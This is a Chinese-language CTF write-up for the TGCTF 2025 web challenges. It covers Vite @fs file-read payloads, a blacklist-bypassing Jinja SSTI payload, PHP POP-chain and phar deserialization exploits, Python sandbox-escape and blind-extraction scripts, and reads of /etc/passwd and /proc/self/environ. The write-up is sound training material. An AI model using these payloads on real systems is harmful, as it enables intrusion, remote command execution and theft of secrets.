0%

TGCTF2025-WEB WP

AAA偷渡阴平

1
2
3
4
5
6
7
8
9
<?php


?>
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg--

前端GAME

进去是个小游戏 本来以为是正常思路 但是怎么都做不出 于是题目是个vue框架的游戏 于是搜索 发现有关于这个的漏洞

漏洞文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

Vite存在CVE-2025-30208安全漏洞(附修复方案和演示示例)

Vite漏洞原理

Vite在开发服务器模式下,提供了@fs功能,原本是为了让开发者访问服务允许范围内的文件。正常情况下,如果请求的文件超出了这个允许范围,Vite应该返回“403 Restricted”,提示访问受限。但攻击者发现了一个“漏洞”,当在请求URL中添加?raw???import&raw??这样的特殊参数时,就能绕过原本的文件访问限制检查。

原因:Vite在处理请求的多个环节中,会移除类似?的结尾分隔符,但在查询字符串的正则匹配过程中,却没有考虑到这种特殊情况,这就给攻击者可乘之机,他们利用这个缺陷,就能读取目标文件的内容

题目解法

直接按照他给的payload /@fs/tgflagggg?import&raw??

前端GAME Plus

上一道题的payload不可行了

文章未公开的poc:可以通过svg来进行文件读取 /@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

image-20250414204645766

得到VEdDVEZ7ZmUxM2MzZGYtYzNkNC1hYjJhLTQwZjYtNjNjYjM1MzczNjAyfQo=

base64解码 TGCTF{fe13c3df-c3d4-ab2a-40f6-63cb35373602}

前端GAME Ultra

plus的payload也不可以

/@fs/app#/../proc/self/environ读环境变量

也可以 /@fs/app/vite-project/#/../../../../../tgflagggg

直面天命

访问/hint 提示是一个四个小写英文字母的路由 爆出来是/aazz路由

进去f12 看到说是可以传参数 but不知道参数是什么 那就arjun爆破吧 爆出来是filename

看到fillename参数 一般会考虑到ssrf 就像name是ssti一样

传入?filename=/etc/passwd

可以读取 尝试读取环境变量

?filename=/proc/1/environ

也可以直接读/flag

直面天命(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

审计源码 黑名单

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

把{}ban了 但是天命和难违可以替换为

所以直接按照黑名单 打ssti就可

最后payload

1
天命((g['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /t*'))['r''ead']()难违

火眼辩魑魅

进去dirsearch扫描网站 看到robots.txt 访问得到很多路由 说是只有一个能到

直接到/tgshell.php打rce即可

post传入· shell=print \cat /t*`;`

image-20250414134522190

因为是一句话木马 也可以直接使用蚁剑连接 然后也可得到flag

什么文件上传?

进去是文件上传 发现传什么都被ban 于是dirsearch了一下网站 robots.txt里有东西

[图片]

访问/class.php 发现是是反序列化并且有漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard(); //1
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better; //2
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]); //3
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

理一下大概的链子顺序

yesterday::destruct(study=new today)-> today::__call(doing=new future)-> future::__tostring

然后post传入wow就可以进行命令执行 但是有个注意点

1
2
3
4
5
6
    function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
......
unserialize(best64_decode($data));

序列化后的数据还要base_encode 5次传入

pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class yesterday {
public $learn;
public $study;
public $try;
}
class today {
public $doing;
public $did;
public $done;
}
class tommoraw {
public $good;
public $bad;
public $soso;

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();
echo serialize($aa);
?>

image-20250414133152637

null替换为%00就行了 因为private属性的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZ
XUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBoa1QxSkhVbkZhVnpBMFpVWlJlV0
pGZEd4aVZrcEtWbTB4TUdKR1ZYZGhlazVYVTBoQ01sUldWVFZqUms1eFVXMXNUbUpGY0haWGJGcFBVM
nMxY2sxVVdtcFNSMUp4V2xjd05HVkdVWGxpUlhSb1RXdHNOVmxyYUZkWlYxWldZWHBPVjFOSVFqSlVW
M00xWTBaT2RFMVhkRmhTYTJ3MFYxUkplRlp0UmxaUFdFWlVWMGhDVVZsdE5WTk9iRkY1WTBWYVQxSlV
iSGRWTWpCNFlURmtSMU5ZYUZwTmFrWllXVEJrUzFkV1JuVlhiWEJPVFVSV00xWXhZM2hPUjBwR1lraE
dhMU5JUWxGWlYzUnlaVVpSZVdKRmRGUldNR3cyVjFSS2ExZHJNWEpYYWtaVVZsZG9lbHBITVZOV1JrW
jBUbGRHV0ZKclduVlhWbFpyVmpKV1YyTkdWbEJTUjJoaFdXMTBjbU5zVGxoalJFSnNZWHBzZUZWc2FH
OVZSMFpXWTBoU1lWSnRhRlJVVm1SUFpFWmFkVmR0ZEZoU2ExcDNWa2h3UWsxRk5IbFVhbHBwVFRKb1Q
xVnJZelZqUm1SMFRsWmtUbEl4U2xwVk1qRTBZVmRLVldGSVFsVmxhMFYzVkdwS1QwNXRTalpVYkVKb1
ZsYzVORmRZY0V0V01rcFlWV3hvYTAweWFFdFpWelZUVlVaU05sUnJOVTloZWxVeVdXcEtjMkV4WkVaT
1dFNVlZbFJXV0ZsNlFYaGpSazVWV2taV2FHSnNTVEpXUkVwM1lXczFjbUpJVmxkaWJrSm9WbXBHZG1W
R2JISlZhelZvVmxSb00xUnJVbXRoYlZaMFQwaHdWVTF0ZUV4VVZtUk9aVlphZEUxWGRGZE5NazR6VlR
Ga2QwMUdVWGRQU0hCVlZrWndVRnBYTURWalJuQkhZVVU1YVZKdVFqRldiVFZQVkRGVmQyRjZUbGRTTT
BGM1dsZHpOV05XYkRaWGEzQnBZa1p2TWxZeWVHdFpWVEZZVTJ0V1dGWXllRkZVVlZKU1RURnJlbU5JV
2s1TlJHeDNWVEp3UjJGck1YTlhibEpoVW0xUmVsUlVRbk5qVjFKR1QxWkNUazFFUVhsV1J6VjNaRzFH
V0ZWc2JGVmlXR2hvV1cxNFlXVnNVWGRVYTNCUFRWWktlRnBGYUhkVlIwWjBWRlJLVkZaNlZsaGFWM2g
zVjBaa2NWSnRiRk5TTTFKM1ZraHdRazFGTkhsVWFscHBaV3hLVVZsV1ZuWmxSbXcyVTJ4a2FWWXhTbG
xhUkU1dlZHeEZkMkY2VGxkU00wRjNXbGR6TldOV2NEWlhhM0JwWWtadk1sWXllR3RaVlRGWVUydFdVM
WRIYUV0WlZ6VlRWVVpTTmxSck5VOWhlbXhHV1dwS2MyRXhaRVpPV0U1WVlsUldXRmw2UVhoV1ZrNVlZ
a1pDVGxKR1JYcFhWRTUzWkdzMVJrOVlRbFJoYTFweFZGZDRZV1JHY0VkYVJFNXNVbFJGTVZVeFVtdFd
WMFoxVldwYVZVMXVRblZVYlhSelpGWmFkV05IUmxkTlZ6azBWMWQwVTFKck1VWmlTRVpyVWxSc1VWUl
VRWGROYkZGM1ZXNWFhRll4U2xwV1J6RTBXVmRLYzFkdWNGVldiRXBYV1ZaVk5HUXdOVVZhUjNCc1lsU
m5kMVpFU25OVE1ERllWRmhzVjJKVVJuSldhazVyVGtaU2RHSkZjRTlOVmtwNFdrVm9kMVZIUm5SWmVr
cFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldWalpWTVdSM1RVWlJkMDlJY0ZWV1JuQlJWV3RqTldOR2N
FZGhSVGxwVW01Q01WWnROVTlVYkZwSVdraENWV1ZyUlhkVWFrcFBUbTFLTmxWc1FtaFdWemswVjFod1
MxWXlTbGhWYkdoclRUSm9VVlpVUW5KTk1WcElZMFJDYkdGNmJIaFhibkJoVTIxS2MxZHFXbGhpUjFKb
1ZGWmtTMUpXVGxsYVJYQm9ZbXhLVVZaSWNFNWxSMVp5VDFoR1ZWWkdjRXRaYkZwTFpERmtjbFJyY0U5
TlZrcDRXa1ZvZDFWSFJuTlNWRXBVVm5wR1ZGcEhNVXRrUmxwWVlrWkNUbEpHUlhwWGJYaHZWR3MxY2s
xVVdtbE5iWGh5VlRCV2RrMVdUbGhqUkVKVlRVUm9ObFJWVVhkUVVUMDk=1111

在传入wow=cat /flag即可

image-20250414134244095

什么文件上传?(复仇)

漏洞利用点:phar协议流可被file_exists()函数直接触发 可以上传.avg文件

链子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class yesterday {
public $learn;
public $study;
public $try;
}
class today {
public $doing;
public $did;
public $done;
}
class tommoraw {
public $good;
public $bad;
public $soso;

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();

$phar = new Phar('sauy.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($aa);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

php -d phar.readonly=0 -f explore.php

将生成的sauy.php改为atg 上传成功后 到class.php 进行反序列化操作

get传入:?filename=phar://./uploads/sauy.atg/test.txt

post传入:wow=env

熟悉的配方,熟悉的味道

进去即使源代码贴脸 但是可惜我不会 赛后复现算是学到了 谢谢实验室的佬大教我

考点:沙箱绕过 python代码注入

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

法1:用抛出错误实现RCE,用污染HTTP 500的返回消息实现回显

脚本

看不懂问ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "your_url"


code = f"""
b = re.match.__globals__['__builtins__']
b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body",b["__import__"]('os').popen('ls /').read().encode())
raise Exception("1")
"""

resp = requests.post(url, data = {
"expr": f"exec({code!r})",
})
print(resp.status_code)
print(resp.text)

脚本解释

1
2
3
4
5
6
7
首先通过 b = re.match.__globals__['__builtins__'] 这一步是通过加载__globals__的属性访问全局空间 目的是绕过对__import__和__builtins__的限制 相当于绕过对这个的沙箱限制

然后 b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body" 是过__import__函数动态加载wsgiref模块wsgiref.handlers.BaseHandler是WSGI处理HTTP请求/响应的基类,负责生成错误响应内容。

b["__import__"]('os').popen('ls /').read().encode() 然后修改类的error_body属性为命令执行的内容 然后encode是把其转化为字节类型

raise Exception("1")是强制抛出异常 触发WSGI报错

原理

通过故意触发程序中的异常(错误),利用异常处理机制中的漏洞执行恶意代码。例如,在动态代码执行环境(如eval)中,攻击者构造输入引发异常,同时注入恶意代码。

做题思考步骤:

  1. 输入构造:提交包含恶意代码的输入,如1 + "a"引发类型错误。
  2. 异常触发:服务器处理输入时抛出异常,进入错误处理流程。
  3. 代码注入:在异常处理过程中,恶意代码被解析执行。例如,通过__import__('os').system('ls')执行系统命令。
  4. 绕过限制:利用反射或内置对象(如__builtins__)绕过沙箱限制,实现任意代码执行。

法2:布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests
from tqdm import tqdm
url = ""
flag=""

for i in range(len(flag),50):
# for s in 'TGCTF{':
for s in tqdm('-'+'}'+'{'+string.ascii_lowercase+string.digits):
data = {"expr":f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
# res = requests.post(url, data=json)
res = requests.post(url, data=data)
# print(res.text, s)
if res.text != "A server error occurred. Please contact the administrator.":
flag += s
print(flag)
break
print(i)s

法3:pyramid内存马

推荐这篇师傅的文章捏 https://www.yuque.com/polestar-mzvgl/swtget/zuh78rfp7i67u219#AWd8j

也可以看我的博客内置文章 https://sauy122.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

TG_wordpress

有很多漏洞点 治理只写一种

扫描二维码下下来一个apk文件 jadx反编译后 全局搜索 password

image-20250415210925462

1
2
3
<string name="web04">+ username/password:</string>
<string name="web05">+ TG_wordpressor</string>
<string name="web06">+ aXx^oV@K&amp;cFoVaztQ*</string>

在/login路由登录 进入过后 查询插件确定cve 的型号(你可也直接复制插件的内容 然后直接问dp)

TGCTF{CVE-2020-25213}

TGCTF 2025 后台管理

SQL注入